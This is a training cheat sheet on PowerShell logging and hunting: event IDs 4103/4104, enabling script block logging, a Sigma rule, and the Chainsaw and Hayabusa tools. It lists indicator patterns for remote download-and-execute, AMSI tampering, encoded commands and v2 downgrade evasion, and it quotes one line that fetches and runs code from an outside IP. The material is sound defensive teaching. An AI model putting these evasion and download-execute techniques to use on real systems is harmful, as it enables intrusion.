Cheat sheet — PowerShell Logging & Hunting¶
Companion to Module 13 — PowerShell Logging & Hunting · CC BY 4.0 — print it, pin it, share it.
Last reviewed: 2026-07
The three channels — and what each captures¶
| Event ID | Channel | Captures |
|---|---|---|
| 4103 | Module logging | Pipeline execution — cmdlets and their bound parameters |
| 4104 | Script Block Logging | The deobfuscated script text as PowerShell compiled it — the crown jewel |
| — | Transcription | Console-style input/output written to disk (human-readable session) |
4103 = what cmdlets ran · 4104 = what code actually executed · transcription = what the session looked like.
Turn it on (before the incident — you can't log retroactively)¶
# Registry path for Script Block Logging (also settable via GPO):
# HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
-Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force
Events land in Microsoft-Windows-PowerShell/Operational. Verify it actually fires after enabling.
Read 4104 records¶
# The field you hunt is ScriptBlockText
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Where-Object Id -eq 4104 |
ForEach-Object { $_.Properties[2].Value } # ScriptBlockText
# From an EVTX export:
Get-WinEvent -Path .\PowerShell.evtx -FilterXPath "*[System[EventID=4104]]"
The indicator vocabulary (pattern-match on ScriptBlockText)¶
DownloadString | DownloadFile | Invoke-WebRequest | Net.WebClient # remote fetch
IEX | Invoke-Expression # in-memory execution
FromBase64String | -enc | -EncodedCommand # embedded payloads
amsiInitFailed | AmsiUtils # AMSI tampering
[char]NN + [char]NN + ... # obfuscation (char chains)
-Version 2 | -v 2 # v2 DOWNGRADE — alert on this
-nop | -noni | -w hidden | -ep bypass # stealth flags
Sigma over 4104¶
logsource:
product: windows
category: ps_script # PowerShell script-block (4104)
detection:
selection:
ScriptBlockText|contains:
- 'DownloadString'
- 'IEX'
filter_internal:
ScriptBlockText|contains: 'http://intranet.corp' # tune out benign admin
condition: selection and not filter_internal
level: high
Scale it — run Sigma over EVTX at speed¶
# Chainsaw — hunt Sigma rules across EVTX
chainsaw hunt Logs/ -s sigma/ --mapping mappings/sigma-event-logs-all.yml
# Hayabusa — fast Windows event-log timeline + built-in detections
hayabusa csv-timeline -d ./evtx -o timeline.csv
Gotchas worth remembering¶
- 4104 defeats obfuscation because it logs the compiled script. Base64 and
[char]chains are already decoded/rebuilt inScriptBlockText— a network IDS or 4103 sees the wrapper; 4104 sees the payload. - None of it is on by default at the level you need, and you can't log retroactively. A hunt on a host where logging was never enabled is already lost — the only fix is turning it on before the incident.
- PowerShell v2 downgrade is an evasion, not a curiosity. v2 predates script-block logging, so
-Version 2is itself an alertable event. - The false positive is the skill. Admins download files and run encoded commands too. A patch script pulling an MSI from an internal host to disk is not
IEX (DownloadString('http://1.2.3.4/a')). Context — internal vs. external, disk vs. memory, who and where — is what you own. - A rule that flags every
DownloadStringis an alert cannon. Run any drafted rule against the real sample and confirm it fires on the malicious blocks and not on the benign admin download. - Hunt by hand first to learn the fields, then graduate to Chainsaw/Hayabusa. Running Sigma at scale is only trustworthy once your hand-hunt logic is sound.
Comments
Sign in with GitHub to comment. Choose the type: Feedback (errors or suggestions on this page) · Hints (help for fellow learners — no spoilers) · General (anything else).